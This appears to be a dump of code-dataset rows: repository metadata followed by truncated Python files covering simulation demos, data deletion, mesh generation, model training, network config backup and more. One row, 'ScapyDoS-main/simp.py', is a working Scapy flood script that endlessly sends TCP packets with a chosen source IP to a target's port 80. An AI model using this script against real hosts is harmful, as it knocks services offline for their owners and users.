fe5f635d76dff706767d5a4351544f241f8b385b
3,192
py
Python
examples/gather_demo.py
mununum/MAgent
7272cd726182280444597310d52369fac5e13e37
[ "MIT" ]
1
2021-06-22T10:22:26.000Z
2021-06-22T10:22:26.000Z
examples/gather_demo.py
mununum/MAgent
7272cd726182280444597310d52369fac5e13e37
[ "MIT" ]
null
null
null
examples/gather_demo.py
mununum/MAgent
7272cd726182280444597310d52369fac5e13e37
[ "MIT" ]
null
null
null
import random import magent from magent.builtin.rule_model import RandomActor import numpy as np if __name__ == "__main__": gw = magent.gridworld cfg = gw.Config() map_size = 25 cfg.set({"map_width": map_size, "map_height": map_size}) agent_group = cfg.add_group( cfg.register_agent_type...
28
87
0.580201
fe605cdea9d8787846418bf36b3fc74d17111206
11,661
py
Python
corehq/apps/domain/deletion.py
shyamkumarlchauhan/commcare-hq
99df931bcf56e9fbe15d8fcb0dc98b5a3957fb48
[ "BSD-3-Clause" ]
null
null
null
corehq/apps/domain/deletion.py
shyamkumarlchauhan/commcare-hq
99df931bcf56e9fbe15d8fcb0dc98b5a3957fb48
[ "BSD-3-Clause" ]
null
null
null
corehq/apps/domain/deletion.py
shyamkumarlchauhan/commcare-hq
99df931bcf56e9fbe15d8fcb0dc98b5a3957fb48
[ "BSD-3-Clause" ]
null
null
null
import itertools import logging from datetime import date from django.apps import apps from django.conf import settings from django.db import connection, transaction from django.db.models import Q from dimagi.utils.chunked import chunked from corehq.apps.accounting.models import Subscription from corehq.apps.account...
41.646429
108
0.725924
fe609a5c6fba0b3499c6abf7b2ebbe251d3d8901
8,056
py
Python
icosphere/icosphere.py
JackWalpole/icosahedron
5317d8eb9509abe275beb2693730e3efaa986672
[ "MIT" ]
2
2017-10-02T23:36:49.000Z
2021-12-21T06:12:16.000Z
icosphere/icosphere.py
JackWalpole/icosphere
5317d8eb9509abe275beb2693730e3efaa986672
[ "MIT" ]
null
null
null
icosphere/icosphere.py
JackWalpole/icosphere
5317d8eb9509abe275beb2693730e3efaa986672
[ "MIT" ]
null
null
null
"""Subdivided icosahedral mesh generation""" from __future__ import print_function import numpy as np # following: http://blog.andreaskahler.com/2009/06/creating-icosphere-mesh-in-code.html # hierarchy: # Icosphere -> Triangle -> Point def calculate_npts(level): n = 2**level...
37.64486
96
0.544067
fe60c7c64b76bb62e7927a82cb0d30249ff0793b
1,840
py
Python
src/main.py
Lidenbrock-ed/challenge-prework-backend-python
d2f46a5cf9ad649de90d4194d115cd9492eb583d
[ "MIT" ]
null
null
null
src/main.py
Lidenbrock-ed/challenge-prework-backend-python
d2f46a5cf9ad649de90d4194d115cd9492eb583d
[ "MIT" ]
null
null
null
src/main.py
Lidenbrock-ed/challenge-prework-backend-python
d2f46a5cf9ad649de90d4194d115cd9492eb583d
[ "MIT" ]
null
null
null
# Resolve the problem!! import string import random SYMBOLS = list('!"#$%&\'()*+,-./:;?@[]^_`{|}~') if __name__ == '__main__': run()
27.058824
119
0.547283
fe6109edbf02869c5f97fef83d0ae614ddf0da76
8,091
py
Python
targets/baremetal-sdk/curie-bsp/setup.py
ideas-detoxes/jerryscript
42523bd6e2b114755498c9f68fd78545f9b33476
[ "Apache-2.0" ]
4,324
2016-11-25T11:25:27.000Z
2022-03-31T03:24:49.000Z
targets/baremetal-sdk/curie-bsp/setup.py
ideas-detoxes/jerryscript
42523bd6e2b114755498c9f68fd78545f9b33476
[ "Apache-2.0" ]
2,099
2016-11-25T08:08:59.000Z
2022-03-12T07:41:20.000Z
targets/baremetal-sdk/curie-bsp/setup.py
lygstate/jerryscript
55acdf2048b390d0f56f12e64dbfb2559f0e70ad
[ "Apache-2.0" ]
460
2016-11-25T07:16:10.000Z
2022-03-24T14:05:29.000Z
#!/usr/bin/env python # Copyright JS Foundation and other contributors, http://js.foundation # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2....
32.107143
113
0.66024
fe6124434f4049e2a32ac1bce2dbe6c619c4fd73
222
py
Python
pythonteste/aula08a.py
genisyskernel/cursoemvideo-python
dec301e33933388c886fe78010f38adfb24dae82
[ "MIT" ]
1
2020-10-26T04:33:14.000Z
2020-10-26T04:33:14.000Z
pythonteste/aula08a.py
genisyskernel/cursoemvideo-python
dec301e33933388c886fe78010f38adfb24dae82
[ "MIT" ]
null
null
null
pythonteste/aula08a.py
genisyskernel/cursoemvideo-python
dec301e33933388c886fe78010f38adfb24dae82
[ "MIT" ]
null
null
null
from math import sqrt import emoji num = int(input("Digite um nmero: ")) raiz = sqrt(num) print("A raiz do nmero {0} {1:.2f}.".format(num, raiz)) print(emoji.emojize("Hello World! :earth_americas:", use_aliases=True))
31.714286
71
0.707207
fe619b4bba8137e17d2356d7038bb205bbb3ddcb
8,074
py
Python
src/ralph/discovery/tests/plugins/samples/http_ibm_system_x.py
quamilek/ralph
bf7231ea096924332b874718b33cd1f43f9c783b
[ "Apache-2.0" ]
null
null
null
src/ralph/discovery/tests/plugins/samples/http_ibm_system_x.py
quamilek/ralph
bf7231ea096924332b874718b33cd1f43f9c783b
[ "Apache-2.0" ]
null
null
null
src/ralph/discovery/tests/plugins/samples/http_ibm_system_x.py
quamilek/ralph
bf7231ea096924332b874718b33cd1f43f9c783b
[ "Apache-2.0" ]
null
null
null
macs_response = '''<?xml version="1.0"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:wsa="http://schemas.xmlsoap.org/ws/2004/08/addressing" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:wxf="http://schemas.xmlsoap.org/ws/2004/09/transfer"><s:Header><wsa:To>http://schemas.xmlsoap.org...
621.076923
2,572
0.792172
fe61ee9fb03a144ec04e2fb8220326b27f35be96
18,786
py
Python
main.py
AdrienCourtois/DexiNed
1198c043f4ed46efd7ad7bc77edf39ba66f0f3b1
[ "MIT" ]
null
null
null
main.py
AdrienCourtois/DexiNed
1198c043f4ed46efd7ad7bc77edf39ba66f0f3b1
[ "MIT" ]
null
null
null
main.py
AdrienCourtois/DexiNed
1198c043f4ed46efd7ad7bc77edf39ba66f0f3b1
[ "MIT" ]
null
null
null
from __future__ import print_function import argparse import os import time, platform import cv2 import torch import torch.optim as optim from torch.utils.data import DataLoader from datasets import DATASET_NAMES, BipedDataset, TestDataset, dataset_info from losses import * from model import DexiNed # from model0C ...
42.406321
121
0.524806
fe62800d500daa91f541e4f0b0257370caac7c78
5,905
py
Python
src/core/build/pretreat_targets.py
chaoyangcui/test_developertest
151309bf6cdc7e31493a3461d3c7f17a1b371c09
[ "Apache-2.0" ]
null
null
null
src/core/build/pretreat_targets.py
chaoyangcui/test_developertest
151309bf6cdc7e31493a3461d3c7f17a1b371c09
[ "Apache-2.0" ]
null
null
null
src/core/build/pretreat_targets.py
chaoyangcui/test_developertest
151309bf6cdc7e31493a3461d3c7f17a1b371c09
[ "Apache-2.0" ]
1
2021-09-13T12:03:37.000Z
2021-09-13T12:03:37.000Z
#!/usr/bin/env python3 # coding=utf-8 # # Copyright (c) 2021 Huawei Device Co., Ltd. # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unle...
39.366667
78
0.573412
fe63a253f1cf19a404c6e2b601535edfb1888800
657
py
Python
tests/testapp/urls.py
lukaszbanasiak/django-contrib-comments
8a99ed810e9e94cb9dff1c362b2c4ebe2e37dead
[ "BSD-3-Clause" ]
1
2018-05-29T08:43:57.000Z
2018-05-29T08:43:57.000Z
tests/testapp/urls.py
lukaszbanasiak/django-contrib-comments
8a99ed810e9e94cb9dff1c362b2c4ebe2e37dead
[ "BSD-3-Clause" ]
null
null
null
tests/testapp/urls.py
lukaszbanasiak/django-contrib-comments
8a99ed810e9e94cb9dff1c362b2c4ebe2e37dead
[ "BSD-3-Clause" ]
1
2018-08-25T01:38:12.000Z
2018-08-25T01:38:12.000Z
from __future__ import absolute_import from django.conf.urls import patterns, url from django_comments.feeds import LatestCommentFeed from custom_comments import views feeds = { 'comments': LatestCommentFeed, } urlpatterns = patterns('', url(r'^post/$', views.custom_submit_comment), url(r'^flag/(\d+)...
26.28
105
0.692542
fe6407132244604eabc2321eb05eb24333b3bd82
669
py
Python
pyTorch/utils.py
rajasekar-venkatesan/Deep_Learning
c375dab303f44043a4dc30ea53b298d7eca1d5a7
[ "MIT" ]
null
null
null
pyTorch/utils.py
rajasekar-venkatesan/Deep_Learning
c375dab303f44043a4dc30ea53b298d7eca1d5a7
[ "MIT" ]
null
null
null
pyTorch/utils.py
rajasekar-venkatesan/Deep_Learning
c375dab303f44043a4dc30ea53b298d7eca1d5a7
[ "MIT" ]
null
null
null
import pandas as pd, numpy as np from sklearn.preprocessing import OneHotEncoder author_int_dict = {'EAP':0,'HPL':1,'MWS':2} if __name__ == '__main__': pass
33.45
87
0.689088
fe64404bf937356d7de814318a6e0bdf49ea36b3
6,987
py
Python
example/dec/dec.py
TheBurningCrusade/A_mxnet
fa2a8e3c438bea16b993e9537f75e2082d83346f
[ "Apache-2.0" ]
159
2016-08-23T22:13:26.000Z
2021-10-24T01:31:35.000Z
example/dec/dec.py
mrgloom/FaceDetection-ConvNet-3D
f9251c48eb40c5aec8fba7455115c355466555be
[ "Apache-2.0" ]
10
2016-08-23T05:59:07.000Z
2018-05-24T02:31:41.000Z
example/dec/dec.py
mrgloom/FaceDetection-ConvNet-3D
f9251c48eb40c5aec8fba7455115c355466555be
[ "Apache-2.0" ]
77
2016-08-21T00:35:00.000Z
2021-06-01T05:03:34.000Z
# pylint: skip-file import sys import os # code to automatically download dataset curr_path = os.path.dirname(os.path.abspath(os.path.expanduser(__file__))) sys.path = [os.path.join(curr_path, "../autoencoder")] + sys.path import mxnet as mx import numpy as np import data from scipy.spatial.distance import cdist from s...
44.788462
116
0.586232
fe646aafd2f602c63f8aacb84f51c78795b63990
7,537
py
Python
cctbx/maptbx/tst_target_and_gradients.py
rimmartin/cctbx_project
644090f9432d9afc22cfb542fc3ab78ca8e15e5d
[ "BSD-3-Clause-LBNL" ]
null
null
null
cctbx/maptbx/tst_target_and_gradients.py
rimmartin/cctbx_project
644090f9432d9afc22cfb542fc3ab78ca8e15e5d
[ "BSD-3-Clause-LBNL" ]
null
null
null
cctbx/maptbx/tst_target_and_gradients.py
rimmartin/cctbx_project
644090f9432d9afc22cfb542fc3ab78ca8e15e5d
[ "BSD-3-Clause-LBNL" ]
null
null
null
from __future__ import division from cctbx.array_family import flex from cctbx import xray from cctbx import crystal from cctbx import maptbx from cctbx.maptbx import minimization from libtbx.test_utils import approx_equal import random from cctbx.development import random_structure from cctbx import sgtbx if (1): r...
36.235577
80
0.667109
fe66e2796ab20353c3b7dbe7a834d55cb22ebb8a
1,212
py
Python
open_imagilib/matrix.py
viktor-ferenczi/open-imagilib
3e7328840d58fd49eda28490e9bddf91390b1981
[ "MIT" ]
2
2022-01-17T17:22:01.000Z
2022-01-22T13:11:33.000Z
open_imagilib/matrix.py
viktor-ferenczi/open-imagilib
3e7328840d58fd49eda28490e9bddf91390b1981
[ "MIT" ]
null
null
null
open_imagilib/matrix.py
viktor-ferenczi/open-imagilib
3e7328840d58fd49eda28490e9bddf91390b1981
[ "MIT" ]
null
null
null
""" LED matrix """ __all__ = ['Matrix'] from .colors import Color, on, off from .fonts import font_6x8
26.347826
89
0.487624
fe6806edfc8769087714d9060a7456450c7a5f90
1,608
py
Python
tests/env_config/test_base.py
DAtek/datek-app-utils
4783345d548bd85b1f6f99679be30b978e368e0e
[ "MIT" ]
null
null
null
tests/env_config/test_base.py
DAtek/datek-app-utils
4783345d548bd85b1f6f99679be30b978e368e0e
[ "MIT" ]
2
2022-02-05T12:15:03.000Z
2022-03-27T09:55:51.000Z
tests/env_config/test_base.py
DAtek/datek-app-utils
4783345d548bd85b1f6f99679be30b978e368e0e
[ "MIT" ]
null
null
null
from pytest import raises from datek_app_utils.env_config.base import BaseConfig from datek_app_utils.env_config.errors import InstantiationForbiddenError
28.714286
84
0.651741
fe68679524344d1cb6b9cfd2e5daf3c7c5e16099
1,704
py
Python
comprehend.py
korniichuk/cvr-features
ed3569222781258d4de242db3c9b51f19573bacb
[ "Unlicense" ]
null
null
null
comprehend.py
korniichuk/cvr-features
ed3569222781258d4de242db3c9b51f19573bacb
[ "Unlicense" ]
null
null
null
comprehend.py
korniichuk/cvr-features
ed3569222781258d4de242db3c9b51f19573bacb
[ "Unlicense" ]
null
null
null
# -*- coding: utf-8 -*- # Name: comprehend # Version: 0.1a2 # Owner: Ruslan Korniichuk # Maintainer(s): import boto3 def get_sentiment(text, language_code='en'): """Get sentiment. Inspects text and returns an inference of the prevailing sentiment (positive, neutral, mixed, or negative). Args: ...
32.150943
78
0.6473
fe68c2686760a20f5158d8a2bc5c4a835377dc27
6,801
py
Python
mapclientplugins/argonsceneexporterstep/ui_configuredialog.py
Kayvv/mapclientplugins.argonsceneexporterstep
59b0b9cb15660c5747c1a7cba9da0e1eaf0bdf48
[ "Apache-2.0" ]
null
null
null
mapclientplugins/argonsceneexporterstep/ui_configuredialog.py
Kayvv/mapclientplugins.argonsceneexporterstep
59b0b9cb15660c5747c1a7cba9da0e1eaf0bdf48
[ "Apache-2.0" ]
null
null
null
mapclientplugins/argonsceneexporterstep/ui_configuredialog.py
Kayvv/mapclientplugins.argonsceneexporterstep
59b0b9cb15660c5747c1a7cba9da0e1eaf0bdf48
[ "Apache-2.0" ]
3
2021-07-26T00:53:24.000Z
2021-11-17T23:23:11.000Z
# -*- coding: utf-8 -*- ################################################################################ ## Form generated from reading UI file 'configuredialog.ui' ## ## Created by: Qt User Interface Compiler version 5.15.2 ## ## WARNING! All changes made in this file will be lost when recompiling UI file! ##########...
44.45098
113
0.723276
fe6923b1aa562920cf3b40c7be4c7dd797b7d3f4
1,039
py
Python
pbx_gs_python_utils/lambdas/utils/puml_to_slack.py
owasp-sbot/pbx-gs-python-utils
f448aa36c4448fc04d30c3a5b25640ea4d44a267
[ "Apache-2.0" ]
3
2018-12-14T15:43:46.000Z
2019-04-25T07:44:58.000Z
pbx_gs_python_utils/lambdas/utils/puml_to_slack.py
owasp-sbot/pbx-gs-python-utils
f448aa36c4448fc04d30c3a5b25640ea4d44a267
[ "Apache-2.0" ]
1
2019-05-11T14:19:37.000Z
2019-05-11T14:51:04.000Z
pbx_gs_python_utils/lambdas/utils/puml_to_slack.py
owasp-sbot/pbx-gs-python-utils
f448aa36c4448fc04d30c3a5b25640ea4d44a267
[ "Apache-2.0" ]
4
2018-12-27T04:54:14.000Z
2019-05-11T14:07:47.000Z
import base64 import tempfile import requests from osbot_aws.apis import Secrets from osbot_aws.apis.Lambdas import Lambdas
28.081081
86
0.589028
fe694e90c7ac984d467776f89ad0bcfbd5ee4819
2,131
py
Python
src/system_io/input.py
DeseineClement/bigdata-housing-classifier
aa864056c8b25217821f59d16c1ba5725c21a185
[ "MIT" ]
null
null
null
src/system_io/input.py
DeseineClement/bigdata-housing-classifier
aa864056c8b25217821f59d16c1ba5725c21a185
[ "MIT" ]
null
null
null
src/system_io/input.py
DeseineClement/bigdata-housing-classifier
aa864056c8b25217821f59d16c1ba5725c21a185
[ "MIT" ]
null
null
null
from sys import argv from getopt import getopt from os import R_OK, access from string import Template DEFAULT_DATASET_FILE_PATH = "dataset/data.csv" DEFAULT_DATASET_COLUMNS = ['surface (m2)', 'height (m)', 'latitude', 'housing_type', 'longitude', 'country_code', 'city'] DEFAULT_VISU = ["sca...
41.784314
120
0.633975
fe6bf9a13a6fe5e608e3131b9e7d5730fd32e4d4
1,490
py
Python
netmiko/example7.py
Tes3awy/Ntemiko-Examples
b29aa3b0de14916f1ebac5b0f1ed7fe37d8740ba
[ "MIT" ]
3
2021-05-20T05:34:49.000Z
2022-02-14T03:35:10.000Z
netmiko/example7.py
Tes3awy/Ntemiko-Examples
b29aa3b0de14916f1ebac5b0f1ed7fe37d8740ba
[ "MIT" ]
null
null
null
netmiko/example7.py
Tes3awy/Ntemiko-Examples
b29aa3b0de14916f1ebac5b0f1ed7fe37d8740ba
[ "MIT" ]
2
2021-08-19T12:34:47.000Z
2022-03-28T15:48:55.000Z
# Must run example4.py first # Read an Excel sheet and save running config of devices using pandas import pandas as pd from netmiko import ConnectHandler # Read Excel file of .xlsx format data = pd.read_excel(io="Example4-Device-Details.xlsx", sheet_name=0) # Convert data to data frame df = pd.DataFrame(data=data) ...
31.702128
85
0.658389
fe6cc530fb4e5b20aac699a77d75b91318a5ca68
2,385
py
Python
inference-engine/tests/ie_test_utils/functional_test_utils/layer_tests_summary/utils/constants.py
plaidml/openvino
e784ab8ab7821cc1503d9c5ca6034eea112bf52b
[ "Apache-2.0" ]
null
null
null
inference-engine/tests/ie_test_utils/functional_test_utils/layer_tests_summary/utils/constants.py
plaidml/openvino
e784ab8ab7821cc1503d9c5ca6034eea112bf52b
[ "Apache-2.0" ]
105
2020-06-04T00:23:29.000Z
2022-02-21T13:04:33.000Z
inference-engine/tests/ie_test_utils/functional_test_utils/layer_tests_summary/utils/constants.py
mpapaj/openvino
37b46de1643a2ba6c3b6a076f81d0a47115ede7e
[ "Apache-2.0" ]
1
2020-10-23T06:45:11.000Z
2020-10-23T06:45:11.000Z
# Copyright (C) 2021 Intel Corporation # SPDX-License-Identifier: Apache-2.0 VERIFIED_OP_REFERENCES = [ 'Abs-1', 'Acos-1', 'Add-1', 'Asin-1', 'Asinh-3', 'Assign-6', 'AvgPool-1', 'BatchNormInference-5', 'BatchToSpace-2', 'BinaryConvolution-1', 'Broadcast-1', 'Broadcast-3'...
20.211864
58
0.568134
fe6ce225addf6075e565169dfeb40c47ef8bca4d
18,542
py
Python
ghub/githubutils.py
mahanthathreyee/ghub
b212ca068ef530d034095e6ef5d964e4e78dc022
[ "MIT" ]
null
null
null
ghub/githubutils.py
mahanthathreyee/ghub
b212ca068ef530d034095e6ef5d964e4e78dc022
[ "MIT" ]
null
null
null
ghub/githubutils.py
mahanthathreyee/ghub
b212ca068ef530d034095e6ef5d964e4e78dc022
[ "MIT" ]
null
null
null
"""Utilities for interacting with GitHub""" import os import json import webbrowser import stat import sys from git import Repo from .context import Context event_dict = { "added_to_project": ( lambda event: "{} added the issue to a project.".format(event["actor"]["login"]) ), "assigned": ( ...
36.936255
99
0.584349
fe6de4a21365edf7ffd30ec000387c588b119366
9,086
py
Python
equipments/migrations/0001_initial.py
fagrimacs/fagrimacs_production
ea1a8f92c41c416309cc1fdd8deb02f41a9c95a0
[ "MIT" ]
null
null
null
equipments/migrations/0001_initial.py
fagrimacs/fagrimacs_production
ea1a8f92c41c416309cc1fdd8deb02f41a9c95a0
[ "MIT" ]
8
2020-09-16T05:28:33.000Z
2020-09-28T06:29:03.000Z
equipments/migrations/0001_initial.py
fagrimacs/fagrimacs_production
ea1a8f92c41c416309cc1fdd8deb02f41a9c95a0
[ "MIT" ]
null
null
null
# Generated by Django 3.0.7 on 2020-09-18 05:52 from django.conf import settings from django.db import migrations, models import django.db.models.deletion import multiselectfield.db.fields
75.716667
499
0.637134
fe6f28fa08fad0c5dcac3f523f0415850eb9e77c
3,495
py
Python
dcos_installer/test_cli.py
nkhanal0/dcos
fe0571b6519c86b6c33db4af42c63ab3e9087dcf
[ "Apache-2.0" ]
3
2017-02-05T06:58:28.000Z
2017-05-12T07:28:53.000Z
dcos_installer/test_cli.py
nkhanal0/dcos
fe0571b6519c86b6c33db4af42c63ab3e9087dcf
[ "Apache-2.0" ]
720
2017-02-08T04:04:19.000Z
2021-09-14T14:04:56.000Z
dcos_installer/test_cli.py
nkhanal0/dcos
fe0571b6519c86b6c33db4af42c63ab3e9087dcf
[ "Apache-2.0" ]
14
2017-02-08T03:57:24.000Z
2019-10-28T12:14:49.000Z
import pytest import gen from dcos_installer import cli
34.60396
76
0.571674
fe70b613f1b25d8770820b6d2050c23b8fcae093
47,242
py
Python
gralog-fx/src/main/java/gralog/gralogfx/piping/scripts/Gralog.py
gralog/gralog
0ab2e3137b83950cdc4e9234d4df451a22034285
[ "Apache-2.0", "BSD-3-Clause" ]
12
2016-11-11T13:24:48.000Z
2022-01-27T19:49:36.000Z
gralog-fx/src/main/java/gralog/gralogfx/piping/scripts/Gralog.py
gralog/gralog
0ab2e3137b83950cdc4e9234d4df451a22034285
[ "Apache-2.0", "BSD-3-Clause" ]
6
2017-01-05T14:23:59.000Z
2018-09-20T19:14:57.000Z
gralog-fx/src/main/java/gralog/gralogfx/piping/scripts/Gralog.py
gralog/gralog
0ab2e3137b83950cdc4e9234d4df451a22034285
[ "Apache-2.0", "BSD-3-Clause" ]
2
2019-11-25T18:17:00.000Z
2020-06-04T21:38:50.000Z
#!/usr/bin/env python3 import sys from random import randint import os try: import networkx as nx except: print("gPrint#-1#" + "netwrokx not installed for " + sys.executable) sys.stdout.flush() try: import igraph as ig except: print("gPrint#-1#" + "igraph not installed for " + ...
35.870919
203
0.460522
fe7228704cb0dda0e1c0b7305078fa094d1a0478
2,843
py
Python
influxdb/tests/server_tests/base.py
ocworld/influxdb-python
a6bfe3e4643fdc775c97e1c4f457bc35d86e631e
[ "MIT" ]
2
2019-10-17T05:36:51.000Z
2020-06-30T00:27:22.000Z
influxdb/tests/server_tests/base.py
ocworld/influxdb-python
a6bfe3e4643fdc775c97e1c4f457bc35d86e631e
[ "MIT" ]
null
null
null
influxdb/tests/server_tests/base.py
ocworld/influxdb-python
a6bfe3e4643fdc775c97e1c4f457bc35d86e631e
[ "MIT" ]
null
null
null
# -*- coding: utf-8 -*- """Define the base module for server test.""" from __future__ import absolute_import from __future__ import division from __future__ import print_function from __future__ import unicode_literals import sys from influxdb.tests import using_pypy from influxdb.tests.server_tests.influxdb_instanc...
30.902174
74
0.655645
fe739da7293d52a3a7c4940166ba21b32df8a642
9,107
py
Python
genemail/testing.py
cadithealth/genemail
d906ad9deec70a6b19b66c244044d4466df2371a
[ "MIT" ]
5
2015-08-13T05:22:54.000Z
2018-08-28T14:14:55.000Z
genemail/testing.py
cadithealth/genemail
d906ad9deec70a6b19b66c244044d4466df2371a
[ "MIT" ]
null
null
null
genemail/testing.py
cadithealth/genemail
d906ad9deec70a6b19b66c244044d4466df2371a
[ "MIT" ]
null
null
null
# -*- coding: utf-8 -*- #------------------------------------------------------------------------------ # file: $Id$ # auth: Philip J Grabner <grabner@cadit.com> # date: 2013/10/21 # copy: (C) Copyright 2013 Cadit Health Inc., All Rights Reserved. #-----------------------------------------------------------------------...
41.584475
88
0.533326
fe74b07194e48e39b48840554a34c0fb3e4605a4
13,815
py
Python
telemetry/telemetry/testing/internal/fake_gpu_info.py
tingshao/catapult
a8fe19e0c492472a8ed5710be9077e24cc517c5c
[ "BSD-3-Clause" ]
2,151
2020-04-18T07:31:17.000Z
2022-03-31T08:39:18.000Z
telemetry/telemetry/testing/internal/fake_gpu_info.py
tingshao/catapult
a8fe19e0c492472a8ed5710be9077e24cc517c5c
[ "BSD-3-Clause" ]
4,640
2015-07-08T16:19:08.000Z
2019-12-02T15:01:27.000Z
telemetry/telemetry/testing/internal/fake_gpu_info.py
tingshao/catapult
a8fe19e0c492472a8ed5710be9077e24cc517c5c
[ "BSD-3-Clause" ]
698
2015-06-02T19:18:35.000Z
2022-03-29T16:57:15.000Z
# Copyright 2015 The Chromium Authors. All rights reserved. # Use of this source code is governed by a BSD-style license that can be # found in the LICENSE file. # This dictionary of GPU information was captured from a run of # Telemetry on a Linux workstation with NVIDIA GPU. It helps test # telemetry.internal.platfo...
57.086777
78
0.668983
fe759c78dfaceadf537006e1685f7155df52a71a
10,073
py
Python
vm_setup/pmevo/measurement-server/PITE/register_file.py
qcjiang/pmevo-artifact
bf5da1788f9ede42086c31b3996d9e41363cc7ee
[ "MIT" ]
6
2020-04-21T12:16:19.000Z
2022-02-10T09:18:08.000Z
vm_setup/pmevo/measurement-server/PITE/register_file.py
qcjiang/pmevo-artifact
bf5da1788f9ede42086c31b3996d9e41363cc7ee
[ "MIT" ]
1
2021-12-07T13:09:53.000Z
2021-12-07T13:09:53.000Z
vm_setup/pmevo/measurement-server/PITE/register_file.py
qcjiang/pmevo-artifact
bf5da1788f9ede42086c31b3996d9e41363cc7ee
[ "MIT" ]
2
2021-03-30T12:40:01.000Z
2021-11-23T15:49:50.000Z
#! /usr/bin/env python3 # vim: et:ts=4:sw=4:fenc=utf-8 from abc import ABC, abstractmethod from collections import defaultdict import re
54.448649
111
0.37119
fe75c11d0a13c6adf86f05d6ce0d9f94ca54fb9c
5,410
py
Python
src/training_utils/training.py
JoseLuisRojasAranda/tfmodels
56dce0236f0cc03dd7031aecf305d470c9fb97a9
[ "MIT" ]
1
2020-06-05T23:25:03.000Z
2020-06-05T23:25:03.000Z
src/training_utils/training.py
JoseLuisRojasAranda/tfmodels
56dce0236f0cc03dd7031aecf305d470c9fb97a9
[ "MIT" ]
null
null
null
src/training_utils/training.py
JoseLuisRojasAranda/tfmodels
56dce0236f0cc03dd7031aecf305d470c9fb97a9
[ "MIT" ]
null
null
null
import os from os import path import json import shutil import tensorflow as tf import numpy as np # Importa cosas de Keras API from tensorflow.keras.optimizers import Adam, RMSprop from tensorflow.keras.models import Sequential from tensorflow.keras.utils import plot_model # Importa callbacks del modelo from traini...
35.359477
84
0.697227
fe774ebe12faa6fdf372c8d9db66e886229109cb
3,563
py
Python
setup.py
truggles/pudl
6f41664f8243b8f7aafdbbfc8522f96043dbf561
[ "MIT" ]
null
null
null
setup.py
truggles/pudl
6f41664f8243b8f7aafdbbfc8522f96043dbf561
[ "MIT" ]
null
null
null
setup.py
truggles/pudl
6f41664f8243b8f7aafdbbfc8522f96043dbf561
[ "MIT" ]
null
null
null
#!/usr/bin/env python """Setup script to make PUDL directly installable with pip.""" import os from pathlib import Path from setuptools import find_packages, setup install_requires = [ 'coloredlogs', 'datapackage>=1.9.0', 'dbfread', 'goodtables', 'matplotlib', 'networkx>=2.2', 'numpy', ...
30.452991
79
0.641033
fe77c98170bf9d8232497412401b6f749ddb70f7
7,836
py
Python
src/vulnix/nvd.py
dermetfan/vulnix
06daccda0e51098fbdbc65f61b6663c5c6df9358
[ "BSD-3-Clause" ]
217
2016-07-03T10:45:56.000Z
2022-03-30T12:06:51.000Z
src/vulnix/nvd.py
dermetfan/vulnix
06daccda0e51098fbdbc65f61b6663c5c6df9358
[ "BSD-3-Clause" ]
70
2016-06-27T08:47:22.000Z
2022-01-22T19:10:53.000Z
src/vulnix/nvd.py
dermetfan/vulnix
06daccda0e51098fbdbc65f61b6663c5c6df9358
[ "BSD-3-Clause" ]
24
2016-06-27T09:23:50.000Z
2022-01-30T05:32:22.000Z
from BTrees import OOBTree from datetime import datetime, date, timedelta from persistent import Persistent from .vulnerability import Vulnerability import fcntl import glob import gzip import json import logging import os import os.path as p import requests import transaction import ZODB import ZODB.FileStorage DEFAU...
32.786611
79
0.590225
fe7996f8bc015e9c1e0a7458bde9909f14df8fbf
316
py
Python
ScapyDoS-main/simp.py
Zusyaku/Termux-And-Lali-Linux-V2
b1a1b0841d22d4bf2cc7932b72716d55f070871e
[ "Apache-2.0" ]
2
2021-11-17T03:35:03.000Z
2021-12-08T06:00:31.000Z
ScapyDoS-main/simp.py
Zusyaku/Termux-And-Lali-Linux-V2
b1a1b0841d22d4bf2cc7932b72716d55f070871e
[ "Apache-2.0" ]
null
null
null
ScapyDoS-main/simp.py
Zusyaku/Termux-And-Lali-Linux-V2
b1a1b0841d22d4bf2cc7932b72716d55f070871e
[ "Apache-2.0" ]
2
2021-11-05T18:07:48.000Z
2022-02-24T21:25:07.000Z
from scapy.all import * src = input("Source IP: ") target = input("Target IP: ") i=1 while True: for srcport in range(1, 65535): ip = IP(src=src, dst=target) tcp = TCP(sport=srcport, dport=80) pkt = ip / tcp send(pkt, inter= .0001) print("Packet Sent ", i) i=i+1
22.571429
42
0.550633
fe79e20af0abaadf27ef0edd6010a9d9587df465
2,019
py
Python
test/test_basic_functions.py
azagajewski/ColiCoords
fa26e46971e24ff582c4d33331c5b8181f605c9f
[ "MIT" ]
18
2018-09-11T01:14:31.000Z
2021-12-27T10:21:59.000Z
test/test_basic_functions.py
azagajewski/ColiCoords
fa26e46971e24ff582c4d33331c5b8181f605c9f
[ "MIT" ]
77
2018-09-19T09:28:33.000Z
2021-11-12T13:31:50.000Z
test/test_basic_functions.py
azagajewski/ColiCoords
fa26e46971e24ff582c4d33331c5b8181f605c9f
[ "MIT" ]
8
2019-06-17T16:02:32.000Z
2021-06-30T23:31:17.000Z
import hashlib import unittest from colicoords.cell import Cell, CellList from colicoords.preprocess import data_to_cells from test import testcase from test.test_functions import load_testdata if __name__ == '__main__': unittest.main()
30.590909
93
0.618128
fe7a4e994d80d1a5a6af69534d2790e8dc14f03c
4,354
py
Python
data_importer_ftp.py
supsi-dacd-isaac/oasi-ozone-forecaster
01d23c374e857dcc6d556d073c0380186c2934d2
[ "MIT" ]
null
null
null
data_importer_ftp.py
supsi-dacd-isaac/oasi-ozone-forecaster
01d23c374e857dcc6d556d073c0380186c2934d2
[ "MIT" ]
null
null
null
data_importer_ftp.py
supsi-dacd-isaac/oasi-ozone-forecaster
01d23c374e857dcc6d556d073c0380186c2934d2
[ "MIT" ]
null
null
null
# --------------------------------------------------------------------------- # # Importing section # --------------------------------------------------------------------------- # import os import sys import argparse import logging import json from classes.alerts import SlackClient from influxdb import InfluxDBClient...
41.075472
119
0.475195
fe7b77f497a02a03531071b294b121357332567e
2,791
py
Python
autoindent_code_JASS_war3map_j.py
gil9red/SimplePyScripts
c191ce08fbdeb29377639184579e392057945154
[ "CC-BY-4.0" ]
117
2015-12-18T07:18:27.000Z
2022-03-28T00:25:54.000Z
autoindent_code_JASS_war3map_j.py
